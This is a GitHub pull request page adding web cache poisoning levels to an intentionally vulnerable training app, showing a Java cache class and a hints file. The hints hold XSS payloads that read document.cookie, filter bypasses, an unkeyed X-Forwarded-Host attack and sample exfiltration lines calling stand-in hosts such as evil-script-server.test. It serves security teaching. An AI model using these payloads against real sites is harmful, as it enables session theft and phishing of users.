-
-
Notifications
You must be signed in to change notification settings - Fork 694
Add Cache Poisoning Vulnerability #534
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
preetkaran20
merged 23 commits into
SasanLabs:master
from
luks-santos:feature/cache-poisoning
Apr 30, 2026
Merged
Changes from all commits
Commits
Show all changes
23 commits
Select commit
Hold shift + click to select a range
ccf7a26
Add cache poisoning level 1 vulnerability
luks-santos 0f9071a
Refine cache poisoning level 1 UI
luks-santos 7cda09c
Add cache poisoning level 2 demo
luks-santos 242e14a
Implement remaining cache poisoning levels
luks-santos 52dfc41
Merge branch 'master' of github.com:luks-santos/VulnerableApp into fe…
luks-santos c1816bc
Merge branch 'master' of github.com:luks-santos/VulnerableApp into fe…
luks-santos 6049137
refactor: reuse doGetAjaxCall in levels 1-5 and pass xhr to callbacks
luks-santos 3bae76d
feat: add reset cache button for all levels
luks-santos 230afec
refactor: move level-specific templates to common directory for Cache…
luks-santos 179777a
feat: make Cache Poisoning Level 1 vulnerable to XSS
luks-santos daf19fd
docs: add links for Web Cache Poisoning videos
luks-santos 2673d64
refactor: enhance cache poisoning theory and fix level 3 simulation
luks-santos ba62756
feat: improve level 3 vulnerability visualization
luks-santos 5afcb79
feat: expose multiple attack vectors per Cache Poisoning level
luks-santos f0f30a9
docs: add alternative payloads to Cache Poisoning hints
luks-santos 447b47c
feat: enrich level 4 PII leak and tighten Cache Poisoning lab
luks-santos 0c4c504
Merge branch 'master' of github.com:luks-santos/VulnerableApp into fe…
luks-santos dc2f4d4
test: add cache poisoning coverage for XSS payloads and level 4 PII leak
luks-santos cd2b4a4
fix: format code
luks-santos 5e7d8bc
Refactor cache poisoning templates by level
luks-santos 5d02696
Move cache reset out of each level handler into a single POST endpoin…
luks-santos de130b0
Fix cache poisoning cache reset behavior
luks-santos 4178173
feat: add browser cache toggle to cache poisoning levels 1-4
luks-santos File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
412 changes: 412 additions & 0 deletions
412
.../java/org/sasanlabs/service/vulnerability/cachePoisoning/CachePoisoningVulnerability.java
Large diffs are not rendered by default.
Oops, something went wrong.
39 changes: 39 additions & 0 deletions
39
src/main/java/org/sasanlabs/service/vulnerability/cachePoisoning/CachedResponse.java
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,39 @@ | ||
| package org.sasanlabs.service.vulnerability.cachePoisoning; | ||
|
|
||
| import java.time.Duration; | ||
| import java.time.Instant; | ||
|
|
||
| public class CachedResponse { | ||
|
|
||
| private final String cacheKey; | ||
| private final String content; | ||
| private final Instant createdAt; | ||
| private final Duration ttl; | ||
|
|
||
| public CachedResponse(String cacheKey, String content, Instant createdAt, Duration ttl) { | ||
| this.cacheKey = cacheKey; | ||
| this.content = content; | ||
| this.createdAt = createdAt; | ||
| this.ttl = ttl; | ||
| } | ||
|
|
||
| public boolean isExpired(Instant now) { | ||
| return !createdAt.plus(ttl).isAfter(now); | ||
| } | ||
|
|
||
| public String getCacheKey() { | ||
| return cacheKey; | ||
| } | ||
|
|
||
| public String getContent() { | ||
| return content; | ||
| } | ||
|
|
||
| public Instant getCreatedAt() { | ||
| return createdAt; | ||
| } | ||
|
|
||
| public Duration getTtl() { | ||
| return ttl; | ||
| } | ||
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
55 changes: 55 additions & 0 deletions
55
src/main/resources/attackvectors/CachePoisoningPayload.properties
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,55 @@ | ||
| CACHE_POISONING_PAYLOAD_LEVEL_1=This level simulates a shared cache that stores the response only by route.</br>\ | ||
| <b>How to exploit this level?</b><br/>\ | ||
| 1. Call <code>/VulnerableApp/CachePoisoning/LEVEL_1?banner=FAKE%20URGENT%20UPDATE</code> to poison the cache.<br/>\ | ||
| 2. Call <code>/VulnerableApp/CachePoisoning/LEVEL_1</code> without the query parameter.<br/>\ | ||
| 3. The second response is served from cache and still contains the poisoned banner. | ||
| CACHE_POISONING_PAYLOAD_LEVEL_1_XSS=Since the banner is reflected without escaping, we can inject a script.</br>\ | ||
| <b>How to exploit?</b><br/>\ | ||
| 1. Call <code>/VulnerableApp/CachePoisoning/LEVEL_1?banner=%3Cscript%3Ealert(document.cookie)%3C/script%3E</code>.<br/>\ | ||
| 2. All users accessing <code>/VulnerableApp/CachePoisoning/LEVEL_1</code> will now execute the script due to the poisoned cache.<br/>\ | ||
| <b>Alternative payloads:</b> <code><img src=x onerror=alert(document.cookie)></code>, <code><svg onload=alert(document.cookie)></code>, <code><iframe src="javascript:alert(document.cookie)"></code>. | ||
| CACHE_POISONING_PAYLOAD_LEVEL_2=This level adds a naive filter that removes only obvious script payloads, but the cache key is still based on the route alone.</br>\ | ||
| <b>How to exploit this level?</b><br/>\ | ||
| 1. Call <code>/VulnerableApp/CachePoisoning/LEVEL_2?banner=%3Cb%3EURGENT%20STATUS%20UPDATE%3C/b%3E</code> to poison the cache with harmless-looking HTML.<br/>\ | ||
| 2. Call <code>/VulnerableApp/CachePoisoning/LEVEL_2</code> without the query parameter.<br/>\ | ||
| 3. The victim still receives the cached attacker-controlled response even though the app tried to filter the input.<br/>\ | ||
| <b>Alternative payloads:</b> <code><a href="https://phishing.example">Reauthenticate here</a></code> (phishing link), <code><h1 style="color:red">SYSTEM BREACH - CALL SUPPORT 1-800-SCAM</h1></code> (social engineering), <code><marquee>Service outage: please resend payment</marquee></code> (misleading notice). | ||
| CACHE_POISONING_PAYLOAD_LEVEL_2_XSS=Obvious script tags are filtered, but we can use HTML event handlers.</br>\ | ||
| <b>How to exploit?</b><br/>\ | ||
| 1. Call <code>/VulnerableApp/CachePoisoning/LEVEL_2?banner=%3Cimg%20src=%22x%22%20onerror=%22alert(document.cookie)%22%3E</code>.<br/>\ | ||
| 2. The server-side filter misses this, and the cache stores the malicious image tag, causing XSS for everyone.<br/>\ | ||
| <b>Alternative bypasses:</b> <code><svg onload=alert(document.cookie)></code>, <code><input autofocus onfocus=alert(document.cookie)></code>, <code><body onload=alert(document.cookie)></code>. The naive filter only strips <code><script></code> tags and the <code>javascript:</code> scheme, so any other event handler bypasses it. | ||
| CACHE_POISONING_PAYLOAD_LEVEL_3=The cache key is URI + <code>banner</code>. The trap is <code>X-Forwarded-Host</code>: it is reflected into the response's asset URL but is <b>not</b> part of the key (it is an <b>unkeyed header</b>). Poison the host once and every victim requesting the same banner gets it from cache.</br>\ | ||
| <b>How to exploit (in the lab):</b><br/>\ | ||
| 1. Type <code>shared-status</code> in <i>Shared banner key</i>, <code>attacker.example</code> in <i>Attacker forwarded host</i>, click <b>Poison cache</b>. Check <code>X-Cache-Key</code>: only the banner is in it.<br/>\ | ||
| 2. Click <b>Send victim request</b> using only the same banner.<br/>\ | ||
| 3. Asset URL still points to <code>attacker.example</code>; <code>X-Cache-Status: HIT</code> confirms the poison.<br/>\ | ||
| <b>Alternative payloads</b> (<b>Reset cache</b> → same banner, new value in <i>Attacker forwarded host</i> → <b>Poison cache</b> → <b>Send victim request</b>):<br/>\ | ||
| • <code>login-cdn.test</code> — CDN typosquat for phishing<br/>\ | ||
| • <code>192.168.1.1</code> — force request to an internal IP (SSRF-adjacent)<br/>\ | ||
| • <code>cdn-backup.test</code> — impersonate a legitimate backup CDN | ||
| CACHE_POISONING_PAYLOAD_LEVEL_3_JS_INJECTION=The asset host is attacker-controlled (see base payload), so every victim on the same banner key loads the attacker's JS - stored XSS scoped to that cached route.</br>\ | ||
| <b>How to exploit (in the lab):</b><br/>\ | ||
| 1. Same flow as the base payload, but use <code>evil-script-server.test</code> as the host.<br/>\ | ||
| 2. Open DevTools → <b>Network tab</b> and observe the failed request to <code>evil-script-server.test</code>. The failure is expected (placeholder domain). In a real attack the adversary owns the host and the JS runs in the victim's origin.<br/>\ | ||
| <b>Impact:</b> Origin takeover - JS has access to the victim's DOM, cookies, and storage.<br/>\ | ||
| <b>Alternative payloads</b> (JS the attacker would serve at <code>/assets/cache-poisoning-demo.js</code>; cannot run in the lab, but illustrate real-world impact):<br/>\ | ||
| • <code>fetch("https://evil-script-server.test/?c="+document.cookie)</code> — cookie exfil<br/>\ | ||
| • <code>document.body.innerHTML="<h1>Defaced</h1>"</code> — defacement<br/>\ | ||
| • <code>new Image().src="https://evil-script-server.test/?k="+localStorage.getItem("token")</code> — token exfil via image beacon (bypasses fetch-only CSP) | ||
| CACHE_POISONING_PAYLOAD_LEVEL_4=This level no longer trusts forwarding headers (the LEVEL_3 lesson is fixed), but it introduces a different unkeyed input: the <code>demo_user</code> cookie. The server reads the cookie to render personalized PII (username, email and last login IP) into the response body, then sends <code>Cache-Control: public, max-age=60</code> while the cache key stays route-only. Because the cookie never participates in the cache key, the first requester's personalized response is stored once and replayed to everyone else for the next 60 seconds. The poisoning primitive here is not injection - it is the mismatch between <i>"this body depends on the cookie"</i> and <i>"this body is safe to share with strangers"</i>.</br>\ | ||
| <b>How to exploit this level?</b><br/>\ | ||
| 1. As the first requester (the "victim" whose data will leak), call <code>/VulnerableApp/CachePoisoning/LEVEL_4</code> with cookie <code>demo_user=alice</code>. The response body now contains <code>Logged in as: alice</code>, <code>alice@vulnerableapp.local</code> and her deterministic last login IP. Inspect <code>X-Cache-Status: MISS</code> and <code>X-Cache-Key</code> - the key is just the route, the cookie is nowhere in it.<br/>\ | ||
| 2. From a clean browser (or a different machine, or curl with no cookies), call <code>/VulnerableApp/CachePoisoning/LEVEL_4</code> <b>without</b> sending any cookie.<br/>\ | ||
| 3. The shared cache matches the same route-only key and replays Alice's personalized body to you. <code>X-Cache-Status: HIT</code> confirms it. You are not Alice and you sent no cookie, but you just received her username, email and last login IP.<br/>\ | ||
| <b>Impact:</b> PII disclosure across user boundaries with zero authentication required from the attacker. The attacker only needs to time their request inside the cache TTL after a real user populates the entry. This is the same class of bug behind real-world incidents where shared CDNs returned one user's account page to anonymous visitors (Stack Overflow 2016, Steam 2015) - the application "works correctly" per request, but the cache layer turns a private response into a public one.<br/>\ | ||
| <b>Alternative payloads:</b> <code>demo_user=ceo</code> (leak the C-suite account's email and login IP), <code>demo_user=billing</code> (leak the billing role's PII), <code>demo_user=support</code> (leak the support team's identity for targeted phishing). Any cookie value that produces "interesting" personalization can be poisoned the same way - the vulnerability is the cache policy, not the value. | ||
| CACHE_POISONING_PAYLOAD_LEVEL_5=The previous levels' primitives are all defused. Untrusted forwarding headers are ignored when building asset URLs, the banner is HTML-escaped, and personalized responses are marked <code>Cache-Control: private, no-store</code> so the shared cache cannot store or reuse them across users.</br>\ | ||
| <b>What to verify (in the lab):</b><br/>\ | ||
| 1. Replay the L3 attack: type any value in <i>Optional banner preview</i> and <code>attacker.example</code> in <i>Optional forwarded host</i>, click <b>Poison cache</b>. The asset URL stays on the trusted host, not <code>attacker.example</code>.<br/>\ | ||
| 2. Replay the L4 attack: set <i>Personalized demo_user</i> to <code>admin</code>, click <b>Poison cache</b>. Click <b>Send guest request</b> without the cookie - the response is fresh, no admin PII leaks.<br/>\ | ||
| 3. On every request, diagnostics show <code>Cache-Control: private, no-store</code> and <code>X-Cache-Status: MISS</code>. The shared cache never stores the response.<br/>\ | ||
| <b>Why is this safe?</b><br/>\ | ||
| • <b>Trusted asset host</b> — the server hardcodes <code>static.vulnerableapp.local</code> instead of reading <code>X-Forwarded-Host</code>, so the L3 unkeyed-header trick has nothing to inject.<br/>\ | ||
| • <b>Private cache policy</b> — <code>private, no-store</code> tells shared caches "do not store this response", so the L4 PII leak cannot happen.<br/>\ | ||
| • <b>Banner is escaped</b> — HTML special characters are encoded, neutralizing the L1/L2 XSS primitives even if a stale entry were ever served. | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.